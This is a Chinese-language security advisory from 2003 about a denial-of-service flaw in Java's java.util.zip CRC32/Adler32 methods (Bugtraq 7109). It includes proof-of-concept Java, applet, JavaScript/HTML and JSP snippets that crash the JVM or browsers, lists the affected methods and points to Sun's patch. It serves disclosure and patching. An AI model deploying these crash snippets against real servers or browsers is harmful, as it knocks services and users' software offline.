首页 -> 安全研究

安全研究

安全漏洞
多家厂商JAVA虚拟机Java.util.zip Null值远程拒绝服务攻击漏洞

发布日期:2003-03-15
更新日期:2003-03-20

受影响系统:
Sun JRE (Linux Production Release) 1.4.1_01
IBM JDK 1.3.1
不受影响系统:
Sun JRE (Linux Production Release) 1.4.1_02
描述:
BUGTRAQ  ID: 7109

多家厂商Java实现包含java.util.zip可信类。

java.util.zip类包含的多个方法对输入缺少正确检查,远程攻击者利用这个漏洞对Java虚拟机进行拒绝服务攻击。

java.util.zip包含多个方法来接收外部参数,但是对于外部参数没有正确检查,如果这些方法调用的参数为NULL值,就会导致Java虚拟机到一种未定义状态而产生不可预料的行为,使虚拟机崩溃。

<*来源:Marc Schoenefeld (marc.schoenefeld@uni-muenster.de
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104775377221318&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Marc Schoenefeld (marc.schoenefeld@uni-muenster.de)提供了如下测试方法:

1,JVM崩溃

下面的应用程序可以使Sun JDK1.3.1, 1.4.0, 1.4.1, IBM JDK 1.3.1崩溃,一些J2EE应用服务程序和JMX实时组件也受此漏洞影响:

public class CRCCrash {
public static void main(String[] args) {
(new java.util.zip.CRC32()).update(new byte[0] ,4 ,
Integer.MAX_VALUE-3);
}
}

2,CRCCrash.java

下面的applet可使IE6, IE5, Mozilla, Konqueror崩溃:

/**
* Describe class <code>CRC32CrashApplet</code> here.
*
* @author <a href="mailto:Marc@illegalaccess.org">Marc Schoenefeld</a>
* @version 1.0
*/
public class CRC32CrashApplet extends java.applet.Applet {
public void paint(java.awt.Graphics g)
{
java.util.zip.CRC32 crc = new java.util.zip.CRC32();
crc.update(new byte[0],4,Integer.MAX_VALUE-3);
g.drawString("Crash the browser!", 20, 90);
}
}

3,CRC32CrashApplet.java

<html> <body> <script language=javascript>
b=java.lang.String("");c=b.getBytes();a=new
java.util.zip.Adler32();a.update(c,4, 0x7ffffffc); </script>
</body> </html>

4, CRC32Crash.html:

<%@pagecontentType="text/html;charset=WINDOWS-1252"
import="java.util.zip.*"%>
<% %>
<%! %>
<% (new CRC32()).update(new byte[0],4,Integer.MAX_VALUE-3); %>
<html>
<head>
<title>Crash-JSP mit java.util.zip.CRC32.update</title>
</head>
<body>
<hr>
<h1>Crash-JSP mit sun.misc.MessageUtils.toStderr(null)</h1>
<h2> Marc Schoenefeld , marc@illegalaccess.org </h2>
</body>
</html>

5,CRC32CrashApplet.jsp

受此影响的方法和类:

java.util.zip.Adler32().update(…);
java.util.zip.Deflater().setDictionary(…);
java.util.zip.CRC32().update(…);
java.util.zip.Deflater().deflate(…);
java.util.zip.CheckedOutputStream().write(…);
java.util.zip.CheckedInputStream().read(…);

建议:
厂商补丁:

Sun
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Sun JDK 1.4.1_02已经发布了补丁:

http://java.sun.com/j2se/1.4/

浏览次数:3369
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障